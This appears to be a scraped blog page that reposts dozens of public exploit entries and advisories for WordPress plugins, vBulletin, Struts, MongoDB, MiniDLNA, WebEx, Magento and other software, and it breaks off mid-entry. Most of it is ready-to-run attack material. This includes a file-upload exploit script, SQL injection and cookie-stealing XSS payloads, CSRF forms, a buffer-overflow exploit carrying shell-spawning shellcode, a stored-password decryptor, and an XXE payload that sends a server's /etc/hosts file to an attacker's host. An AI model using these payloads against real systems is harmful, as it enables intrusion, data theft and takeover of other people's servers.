source: https://www.securityfocus.com/bid/63523/info
The This Way Theme for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this issue to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access to the application; other attacks are also possible.
<?php
$uploadfile="upl.php";
$ch = curl_init("http://[localcrot]/wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863141383
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/63435/info
Course Registration Management System is prone to multiple cross-site scripting and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.
Course Registration Management System 2.2.1 is vulnerable; other versions may also be affected.
http://example.com/add_user.php (POST - params: work_tel, lastname, email, gmc_reg, job_title, firstname)
http://example.com/login.php (POST - params: username)
http://example.com/auth.php (POST - params: username)
http://example.com/forgotten_password.php
(POST - username)
username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
http://example.com/add_user.php
(POST - email)
email='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
http://example.com/login.php
(POST - username)
username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+
source: https://www.securityfocus.com/bid/61196/info
Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
An attacker can leverage these issues by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.
Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable.
http://www.example.com/struts2-showcase/fileupload/upload.action?redirect:http://www.example.com/
http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23
source: https://www.securityfocus.com/bid/61491/info
XMonad.Hooks.DynamicLog module for xmonad is prone to multiple remote command-injection vulnerabilities.
Successful exploits will result in the execution of arbitrary commands in the context of the affected applications. This may aid in further attacks.
<html>
<head>
<title><action=xclock>An innocent title</action></title>
</head>
<body>
<h1>Good bye, cruel world</h1>
</body>
</html>
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: fbzx - ZX Spectrum Emulator for X
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: FBZX v2.10 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.rastersoft.com/ <http://www.rastersoft.com/>*
# Kali Linux 2.0 package: http://repo.kali.org/kali/pool/contrib/f/fbzx/
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980
import os,subprocess
def run():
try:
print "# FBZX v2.10 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*8
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*5010
eip = "\x10\xd3\xff\xbf"
subprocess.call(["fbzx",' ', junk + shellcode + nops + eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "FBZX not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit FBZX 2.10 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()
source: https://www.securityfocus.com/bid/61456/info
Open Source SIEM (OSSIM) is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Open Source SIEM (OSSIM) 4.2.3 is vulnerable; other versions may also be affected.
https://
<IP>/ossim/vulnmeter/index.php?withoutmenu=%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E
https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/av_inventory/task_edit.php?section="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/nfsen/rrdgraph.php?cmd=get-detailsgraph&profile=<img%20src%3da%20onerror%3dalert('XSS')>
POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
hosts_alive=1&scan_locally=1¬_resolve=0&scan_server=<img%20src%3da%20onerror%3dalert('XSS')>&targets=blah
POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
hosts_alive=1&scan_locally=1¬_resolve=0&scan_server=Null&targets=blah<img%20src%3da%20onerror%3dalert('XSS')>
# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
For this vulnerabilities also WP-Polls needs to be installed.
Everyone can access wpfc_wppolls_ajax_request().
$_POST["poll_id"] is not escaped properly.
File: wp-fastest-cache\inc\wp-polls.php
public function wpfc_wppolls_ajax_request() {
$id = strip_tags($_POST["poll_id"]);
$id = mysql_real_escape_string($id);
$result = check_voted($id);
if($result){
echo "true";
}else{
echo "false";
}
die();
}
http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html
2. Proof of Concept
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
<input type="submit" value="Send">
</form>
3. Solution:
Update to version 0.8.4.9
source: https://www.securityfocus.com/bid/61449/info
VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
VBulletin 4.0.x are vulnerable.
The exploit is caused due to a variable named 'update_order' not being
sanitized before being used within an insert into statement.
if ($_REQUEST['do'] == 'update_order')
{
$vbulletin->input->clean_array_gpc('r', array(
'force_read_order' => TYPE_ARRAY
));
if ($vbulletin->GPC['force_read_order'])
{
foreach ($vbulletin->GPC['force_read_order'] AS $threadid => $order)
{
$db->query_write("
UPDATE " . TABLE_PREFIX . "thread AS thread
SET force_read_order = '$order'
WHERE threadid = '$threadid'
");
}
}
POC
You will need Admincp Access then go to
site.com/admincp/force_read_thread.php then in the force read order colum
put a ' into one of them to show this
Database error in vBulletin 4.2.1:
Invalid SQL:
UPDATE thread AS thread
SET force_read_order = '1''
WHERE threadid = '5161';
MySQL Error : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'5161'' at line 2
Error Number : 1064
Request Date : Thursday, July 25th 2013 @ 01:20:52 AM
Error Date : Thursday, July 25th 2013 @ 01:20:52 AM
Script :
http://www.example.com/admincp/force_read_thread.php?do=update_order
Referrer : http://www.example.com/admincp/force_read_thread.php
IP Address :
Username : n3tw0rk
Classname :
MySQL Version :
source: https://www.securityfocus.com/bid/61423/info
Magnolia CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Magnolia CMS versions 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 are vulnerable.
<form action="http://www.example.com/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
source: https://www.securityfocus.com/bid/61401/info
The FlagEm plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/wp-content/plugins/FlagEm/flagit.php?cID=[Xss]
source: https://www.securityfocus.com/bid/61425/info
The Duplicator plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Duplicator 0.4.4 is vulnerable; other versions may also be affected.
http://www.example.com/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/61384/info
Collabtive is prone to multiple cross-site scripting vulnerabilities, an arbitrary file upload vulnerability, and a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to bypass certain security restrictions, upload and execute arbitrary script code in the context of the affected web server process. This may let attackers steal cookie-based authentication credentials, perform unauthorized actions, or compromise the application; other attacks are possible.
Collabtive 1.0 is vulnerable; other versions may also be affected.
File upload:
https://www.example.com/secprj/files/standard/avatar/uploadedshell_104185.php
Cross-site scripting:
https://www.example.com/secprj/managechat.php?userto=<SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>&uid=2
"><SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>
Security-bypass:
https://www.example.com/secprj/manageuser.php?action=del&id=5
source: https://www.securityfocus.com/bid/61356/info
YardRadius is prone to multiple local format-string vulnerabilities.
Local attackers can leverage these issues to cause denial-of-service conditions. Due to nature of these issues, arbitrary code-execution within the context of the vulnerable application may also be possible.
YardRadius 1.1.2-4 is vulnerable; other versions may also be possible.
The following proof-of-concept is available:
ln -s radiusd %x
./%x -v
source: https://www.securityfocus.com/bid/61353/info
Barracuda CudaTel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Barracuda CudaTel 2.6.02.04 is vulnerable; other versions may also be affected.
http://www.example.com/gui/route/route?%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C
http://www.example.com/gui/route/route?_=1354073910062&bbx_outbound_route_flag_locked=%3C[CLIENT-SIDE SCRIPT
CODE!]%20%3C
http://www.example.com/ajax-html/queues_wall_stub.html?_=1354074247075%20%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C#
http://www.example.com/ajax-html/queues_wall_stub.html?_=1354074247075%20%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C#
// source: https://www.securityfocus.com/bid/61304/info
Cisco WebEx One-Click Client is prone to an information disclosure vulnerability.
Successful exploits may allow an attacker to disclose sensitive information such as stored passwords; this may aid in further attacks.
/*
WebEx One-Click Registry Key Decryptor
brad.antoniewicz@foundstone.coma
compile with gcc -o webex-onedecrypt -lssl webex-onedecrypt.c
Thanks to https://code.google.com/p/tps-cripto-itba/source/browse/trunk/src/criptography
for making life easy
see comments below
*/
#include <openssl/aes.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
unsigned char *
aes_ofb_encrypt(unsigned char * text, int length, unsigned char * key, unsigned char * iv)
{
unsigned char * outbuf = calloc(1,length);
int num = 0;
unsigned char liv[16];
memcpy(liv,iv,16);
AES_KEY aeskey;
//memset(outbuf, 0, 8);
AES_set_encrypt_key(key, 256, &aeskey);
AES_ofb128_encrypt(text, outbuf, length, &aeskey, liv, &num);
return outbuf;
}
unsigned char *
aes_ofb_decrypt(unsigned char * enc, int length, unsigned char * key, unsigned char * iv)
{
unsigned char * outbuf= calloc(1,length);
int num = 0;
unsigned char liv[16];
memcpy(liv,iv,16);
AES_KEY aeskey;
AES_set_encrypt_key(key, 256, &aeskey);
AES_ofb128_encrypt(enc, outbuf, length, &aeskey, liv, &num);
return outbuf;
}
void main() {
/*
This value is from
HKEY_CURRENT_USER\Software\WebEx\ProdTools\Password
*/
unsigned char * regVal = "\xcc\x6d\xc9\x3b\xa0\xcc\x4c\x76\x55\xc9\x3b\x9f";
/*
This value is from
HKEY_CURRENT_USER\Software\WebEx\ProdTools\PasswordLen
*/
int regLength = 12;
/*
This value is a combination of these two registry keys:
HKEY_CURRENT_USER\Software\WebEx\ProdTools\UserName
HKEY_CURRENT_USER\Software\WebEx\ProdTools\SiteName
Basicaly the username and the sitename padding to 32 characters, if the
two dont add up to 32 characters, its just repeated until it fits
*/
unsigned char key[32] = "braantonsiteaa.webex.com/siteaab";
/*
The IV is static, particularly complex value of 123456789abcdef....
*/
unsigned char iv[16] = { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12 };
/*
These are just for testing, you'd probably not have the password :)
*/
unsigned char * password = "bradbradbrad";
int pwLength = strlen((char *)password);
unsigned char * enc = NULL;
unsigned char * enc2 = NULL;
int i = 0;
printf("Reg Key Value = ");
enc = aes_ofb_encrypt(password, pwLength, key, iv);
for(i=0;i<pwLength;i++) {
printf("%02x ", enc[i]);
}
printf("\n");
printf("Password = ");
enc2 = aes_ofb_decrypt(regVal, regLength, key, iv);
for(i=0;i<regLength;i++) {
printf("%c", enc2[i]);
}
printf("\n");
}
source: https://www.securityfocus.com/bid/61309/info
MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.
MongoDB 2.4.4 is vulnerable; other versions may also be affected.
use databaseMapped
sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
source: https://www.securityfocus.com/bid/61282/info
ReadyMedia is prone to a remote heap-based buffer-overflow vulnerability.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
ReadyMedia prior to 1.1.0 are vulnerable.
#!/usr/bin/env python
#AAAAinject.py
# Author: Zachary Cutlip
# zcutlip@tacnetsol.com
# twitter: @zcutlip
#This script injects a buffer overflow into the ALBUM_ART table of
#MiniDLNA's SQLite database. When queried with the proper soap request,
#this buffer overflow demonstrates arbitrary code execution by placing a
#string of user-controlled 'A's in the CPU's program counter. This
#affects MiniDLNA version 1.0.18 as shipped with Netgear WNDR3700 version 3.
import math
import sys
import urllib,socket,os,httplib
import time
from overflow_data import DlnaOverflowBuilder
headers={"Host":"10.10.10.1"}
host="10.10.10.1"
COUNT=8
LEN=128
empty=''
overflow_strings=[]
overflow_strings.append("AA")
overflow_strings.append("A"*LEN)
overflow_strings.append("B"*LEN)
overflow_strings.append("C"*LEN)
overflow_strings.append("D"*LEN)
overflow_strings.append("A"*LEN)
overflow_strings.append("\x10\x21\x76\x15"*(LEN/4))
overflow_strings.append("\x10\x21\x76\x15"*(LEN/4))
overflow_strings.append("D"*LEN)
overflow_strings.append("D"*LEN)
overflow_strings.append("D"*LEN)
path_beginning='/AlbumArt/1;'
path_ending='-18.jpg'
details_insert_query='insert/**/into/**/DETAILS(ID,SIZE,TITLE,ARTIST,ALBUM'+\
',TRACK,DLNA_PN,MIME,ALBUM_ART,DISC)/**/VALUES("31337"'+\
',"PWNED","PWNED","PWNED","PWNED","PWNED","PWNED"'+\
',"PWNED","1","PWNED");'
objects_insert_query='insert/**/into/**/OBJECTS(OBJECT_ID,PARENT_ID,CLASS,DETAIL_ID)'+\
'/**/VALUES("PWNED","PWNED","container","31337");'
details_delete_query='delete/**/from/**/DETAILS/**/where/**/ID="31337";'
objects_delete_query='delete/**/from/**/OBJECTS/**/where/**/OBJECT_ID="PWNED";'
def build_injection_req(query):
request=path_beginning+query+path_ending
return request
def do_get_request(request):
conn=httplib.HTTPConnection(host,8200)
conn.request("GET",request,"",headers)
conn.close()
def build_update_query(string):
details_update_query='update/**/DETAILS/**/set/**/ALBUM_ART=ALBUM_ART'+\
'||"'+string+'"/**/where/**/ID="31337";'
return details_update_query
def clear_overflow_data():
print "Deleting existing overflow data..."
request=build_injection_req(details_delete_query)
do_get_request(request)
request=build_injection_req(objects_delete_query)
do_get_request(request)
time.sleep(1)
def insert_overflow_data():
print("Setting up initial database records....")
request=build_injection_req(objects_insert_query)
do_get_request(request)
request=build_injection_req(details_insert_query)
do_get_request(request)
print("Building long ALBUM_ART string.")
for string in overflow_strings:
req=build_injection_req(build_update_query(string))
do_get_request(req)
clear_overflow_data()
insert_overflow_data()
# Date: 06.11.2015
# Exploit Author: Dawid Golunski
# Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries
# Software Link: https://github.com/googleads/googleads-php-lib
# Version: Google AdWords API client libraries - XML eXternal Entity Injection (XXE)
=============================================
- Release date: 06.11.2015
- Discovered by: Dawid Golunski
- Severity: Medium/High
=============================================
I. VULNERABILITY
-------------------------
Google AdWords API client libraries - XML eXternal Entity Injection (XXE)
Confirmed in googleads-php-lib <= 6.2.0 for PHP, AdWords libraries:
googleads-java-lib for Java, and googleads-dotnet-lib for .NET are also likely
to be affected.
II. BACKGROUND
-------------------------
- AdWords API
"The AdWords API is a collection of web services that you can use to build
applications that manage AdWords accounts and their associated campaign data.
While the AdWords API is based on SOAP 1.1, high-level client libraries are
provided to help you develop applications more quickly."
AdWords API client libraries are available for different platforms
such as PHP, .NET, Java etc.
These can be found at:
https://developers.google.com/adwords/api/docs/clientlibraries
III. INTRODUCTION
-------------------------
As Google AdWords is based on SOAP protocol that uses XML to transfer the data,
client API libraries should have necessary preventions against XML eXternal
Entity injection attacks. However, an independent research found the necessary
preventions to be lacking in several Google AdWords API client libraries,
which could allow XXE attacks on applications/servers that make use of them.
XXE (XML eXternal Entity) attack is an attack on an application that parses XML
input from untrusted sources using incorrectly configured XML parser.
The application may be forced to open arbitrary files and/or network resources.
Exploiting XXE issues on PHP applications may also lead to denial of service or
in some cases (when an 'expect' PHP module is installed) lead to command
execution.
IV. DESCRIPTION
-------------------------
This advisory will focus on PHP version of the AdWords API client library.
Other versions of the client library such as .NET and Java seem to be
vulnerable in a similar way.
googleads-php-lib contains the following function which queries WSDL from the
remote google adwords server:
---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---
protected function loadWsdl($wsdlUri, $proxy = null) {
// Set proxy.
if ($proxy) {
$opts = array(
'http' => array(
'proxy' => $proxy,
'request_fulluri' => true
)
);
$context = stream_context_get_default($opts);
libxml_set_streams_context($context);
}
$this->dom = new DOMDocument();
$this->dom->load($wsdlUri,
LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE);
$this->serviceNamespace =
$this->dom->documentElement->getAttribute('targetNamespace');
}
-------------------------------------------------------
The function connects to the API endpoint to get the WSDL document describing
the functionality of the AdWords web service in XML.
For security reasons Google AdWords API can only be accessed via HTTPS.
However, the above code does not set appropriate SSL settings on the
https:// stream context. It fails to assign Certificate Authority (CA),
and turn the verify_peer option to ON.
It uses the stream_context_get_default() to get the default context,
which on all PHP versions below PHP 5.6.x (see references below) does not
validate the CA by default.
Because of this, applications using the AdWords API library may be tricked into
retrieving data from untrusted sources pretending to be adwords.google.com.
The above code does not provide any XXE injection attack prevention.
It does not disable external entity processing. To make it worse,
it specifically enables it via the LIBXML parameters provided to the
dom->load() function so an XXE injection attack would work even on
systems that have the newest and fully patched version of libxml library
which does not process the entities by default.
Another vulnerable part of the application is located in the code:
---[ src/Google/Api/Ads/Common/Util/XmlUtils.php ]---
public static function GetDomFromXml($xml) {
set_error_handler(array('XmlUtils', 'HandleXmlError'));
$dom = new DOMDocument();
$dom->loadXML($xml,
LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOENT | LIBXML_XINCLUDE);
restore_error_handler();
return $dom;
}
-----------------------------------------------------
which is used by the AdsSoapClient class to process SOAP requests. It
also activates the ENTITY processing even if libxml parser is set to
ingore them by default. AdsSoapClient can be configured to verify SSL peer
in SSL communication via the settings INI file but this option is set to
off by default.
These SSL settings, and the XML ENTITY processing combined make applications
using the AdWords API vulnerable to XXE injection attacks.
For the attack to be successful, an attacker needs to
perform a MitM attack to impersonate adwords.google.com server (eg. via DNS
poisoning/spoofing/proxy attacks, ARP spoofing, etc.) to inject malicious
XML input.
V. PROOF OF CONCEPT
-------------------------
Below is a test application that makes use of the PHP Google AdWords API
library.
The application simply connects to the AdWords API endpoint to retrieve the
WSDL document.
---[ testAPI.php ]---
<?php
// Test application reading WSDL from Google AdWords
set_include_path('./build_lib/WSDLInterpreter/');
require_once 'WSDLInterpreter.php';
$wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/'
.'CampaignService?wsdl';
$wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null,
null, "CampaignService", "v201502", "Ads_Google",
"./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null);
?>
---------------------
To exploit this application, an attacker needs to perform a MitM attack to
impersonate adwords.google.com server, as mentioned in the introduction.
For simplicity, we can add the following entry to /etc/hosts on the victim's
server:
192.168.57.12 adwords.google.com
to simulate a successful MitM attack where attacker successfully manages
to ,for example, poison the DNS cache to point the adwords subdomain at his
malicious web server (192.168.57.12).
The attacker then needs to create a malicious XML file on his server to
return it to the victim. Example payload could look as follows:
$ curl --insecure 'https://192.168.57.12/api/adwords/cm/v201502/CampaignService?wsdl'
<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY xxetest SYSTEM "http://192.168.57.12/adwords_xxe_hack.dtd">
]>
<test><testing>&xxetest;</testing></test>
The XML payload returned by the attacker will cause the vulnerable
AdWords API library to resolve the 'xxetest' entity and connect
back to the attacker's server to retrieve adwords_xxe_hack.dtd.
This can be verified on the victim's server by executing the demonstrated
testAPI.php script:
$ curl http://victims_server/googleads-php-lib-master/testAPI.php
The script will try to retrieve the WSDL/XML document from adwords.google.com
which will provide the above malicious XML.
After the injected entity is read, the attacker will get a connection from the
victim:
attacker@mitm# nc -vv -l 8080
Connection from victims_server port 8080 [tcp/http-alt] accepted
GET /adwords_xxe_hack.dtd HTTP/1.0
Host: 192.168.57.12:8080
At this point attacker could add other entities to carry out an Out of band
XXE attack to read system files (such as /etc/passwd) located on the victim's
server, or execute commands via expect:// PHP wrapper if the 'expect' module
is enabled.
For example, this payload:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://192.168.57.12/send.dtd">
%dtd;
]>
<test><testing>test &send;</testing></test>
with another file located on the attacker's file server:
---[ send.dtd ]---
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.57.12:8080/retrieved/%file;'>">
%all;
------------------
would send the contents of the /etc/hosts file to the attacker.
VI. BUSINESS IMPACT
-------------------------
The severity of this issue is lowered to medium/high despite as the XXE
injection vulnerability in the code, the attacker must impersonate
adwords.google.com server to be able to inject malicious XML.
If there is a possibility for such an attack, the severity of the issue can
grow to high/critical due to the exploitation possibilities through XXE
injection.
VII. SYSTEMS AFFECTED
-------------------------
The latest version of Google AdWords API PHP client library was confirmed to
be vulnerable. The client libraries for other platforms seem to lack necessary
XXE attack preventions too.
For example, the Java version, did not set the
'sax/features/external-general-entities' setting to off when creating an
instance of the DocumentBuilderFactory class. And the .NET version of the
AdWords API was missing explicit 'ProhibitDtd' setting on the XMLReader.
Vulnerabilities were found in googleads-php-lib in versions below 5.9.0 and
reported to Google in May 2015, they were just fixed in AdWords php library ver.
6.3.0.
VIII. SOLUTION
-------------------------
Install the latest version of the Google AdWords API library available for your
platform, and tighten SSL settings by enabling SSL CA verification in the
library settings file.
IX. REFERENCES
-------------------------
http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt
https://developers.google.com/adwords/api/docs/clientlibraries
https://github.com/googleads/googleads-php-lib
https://developers.google.com/adwords/api/docs/
PHP 5.6.x openssl certificates in PHP streams:
http://php.net/manual/en/migration56.openssl.php
http://legalhackers.com
X. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
XI. TIMELINE
-------------------------
May 18th, 2015: Advisory created and sent to Google Security Team
Nov 5th, 2015: Google, after half a year, confirm the vulnerability has been patched
Nov 6th, 2015: Advisory released publicly
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
<!--
# Exploit Title: Unauthenticated Stored Xss
# Date: 11/6/15
# Exploit Author: Nu11By73
# Vendor Homepage: comcast.net and arrisi.com
# Version: eMTA & DOCSIS Software Version: 10.0.59.SIP.PC20.CT
Software Image Name:TG1682_2.0s7_PRODse
Advanced Services:TG1682G
Packet Cable:2.0
# Tested on: Default Install
-->
<html>
<p>Unauth Stored CSRF/XSS - Xfinity Modem</p>
<form method="POST" action="http://192.168.0.1/actionHandler/ajax_managed_services.php">
<input type="hidden" name="set" value="true" />
<input type="hidden" name="UMSStatus" value="Enabled" />
<input type="hidden" name="add" value="true" />
<input type="hidden" name="service" value="test><script>alert(1)</script>" / >
<input type="hidden" name="protocol" value="TCP" / >
<input type="hidden" name="startPort" value="1" />
<input type="hidden" name="endPort" value="2" />
<input type="hidden" name="block" value="true" />
<input type="submit" title="Enable Service" />
</form>
</html>
source: https://www.securityfocus.com/bid/61158/info
PrestaShop is prone to multiple cross-site request-forgery vulnerabilities.
Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.
PrestaShop 1.5.4 is vulnerable; other versions may also be affected.
<html>
<head>
<body>
<img src="http://www.example.com/language/cart?add=&id_product=[Product ID]" width=0 height=0>
</body>
</head>
</html>
source: https://www.securityfocus.com/bid/61156/info
Corda .NET Redirector is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Corda .NET Redirector 7.3.11.6715 is vulnerable; other versions may also be affected.
http://www.example.com/Corda/redirector.corda/? () _FILEhttp://<URL>/?<script>alert('Text')</script><iframe src=http://www.example1.com></iframe>@_TEXTDESCRIPTIONEN
source: https://www.securityfocus.com/bid/61152/info
Corda Highwire is prone to a path disclosure vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to obtain sensitive information that may lead to further attacks.
http://www.example.com/highwire.ashx?url=../../
# Exploit Title: eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
# Date: 06.11.2015
# Exploit Author: Dawid Golunski
# Vendor Homepage: http://magento.com
# Version: eBay Magento CE <= 1.9.2.1 / Magento EE <=1.14.2.1
# Tested on: Linux
# Magento reference ID: APPSEC-1045
=============================================
- Release date: 06.11.2015
- Discovered by: Dawid Golunski
- Severity: Medium
- eBay Magento ref.: APPSEC-1037
=============================================
I. VULNERABILITY
-------------------------
eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
eBay Magento EE <= 1.14.2.1
II. BACKGROUND
-------------------------
